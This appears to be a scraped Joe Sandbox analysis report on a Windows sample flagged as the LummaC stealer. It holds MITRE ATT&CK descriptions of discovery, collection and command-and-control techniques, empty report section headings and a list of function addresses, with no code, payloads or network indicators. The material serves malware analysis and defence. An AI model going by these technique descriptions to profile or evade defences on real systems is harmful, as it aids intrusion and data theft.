Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Wvo9FU4qo9.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
Wvo9FU4qo9.exe

Function 004D1D00 Relevance: 26.8, Strings: 21, Instructions: 506
COMMON

Function 004E9280 Relevance: 23.4, APIs: 5, Strings: 8, Instructions: 661
memoryCOMMON

Function 004C1227 Relevance: 16.5, APIs: 1, Strings: 8, Instructions: 750
COMMON

Function 004E8EA0 Relevance: 15.3, Strings: 12, Instructions: 287
COMMON

Function 004B8600 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 356
COMMON

Function 004DD34A Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 398
COMMON

Function 004F0D20 Relevance: 2.9, Strings: 2, Instructions: 425
COMMON

Function 004B9D1E Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 142
libraryCOMMON

Function 004DD7EE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 85
COMMON